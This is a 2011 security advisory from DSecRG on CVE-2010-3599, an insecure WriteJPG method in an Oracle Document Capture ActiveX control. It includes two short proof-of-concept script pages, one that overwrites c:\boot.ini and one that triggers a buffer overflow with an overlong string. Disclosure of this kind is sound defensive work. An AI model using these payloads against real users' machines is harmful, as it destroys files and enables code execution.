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ActiveX components contain insecure methods.
ActiveX components contain insecure methods.
Digital Security Research Group [DSecRG] Advisory DSECRG-11-006 (internal #DSECRG-09-066)
Application: Oracle Document Capture
Versions Affected: Oracle Document Capture 10.1.3.5
Vendor URL: http://oracle.com
Bugs: Insecure method. Buffer overflow.
Exploits: YES
Reported: 14.12.2009
Vendor response: 15.12.2009
Date of Public Advisory: 24.01.2011
CVE: CVE-2010-3599
Author: Alexandr Polyakov from DSecRG
Description
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Insecure method was founded in NCSECWLib ActiveX control component which is a part of Oracle Document Capture .
One of the methods (WriteJPG) can be used to owervrite files on users system and also affected to buffer overflow.
Details
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Attacker can construct html page which call vulnerable function "WriteJPG" from ActiveX Object NCSECWLib.
Example 1 (file owervrite)
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<html>
<script>
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"
prototype = "Sub WriteJPG ( ByVal OutputFile As String , ByVal Quality As Long , ByVal bWriteWorldFile As Boolean )"
memberName = "WriteJPG"
progid = "NCSECWLib.NCSRenderer"
argCount = 3
arg1="c:\boot.ini"
arg2=1
arg3=True
target.WriteJPG arg1 ,arg2 ,arg3
</script>
</html>
Example 2
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<html>
<script>
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"
prototype = "Sub WriteJPG ( ByVal OutputFile As String , ByVal Quality As Long , ByVal bWriteWorldFile As Boolean )"
memberName = "WriteJPG"
progid = "NCSECWLib.NCSRenderer"
argCount = 3
arg1=String(13332, "A")
arg2=1
arg3=True
target.WriteJPG arg1 ,arg2 ,arg3
</script></job></package>
References
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http://dsecrg.com/pages/vul/show.php?id=306
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
Fix Information
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Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
About
*****
Digital Security:
Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.
Digital Security Research Group:
International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com
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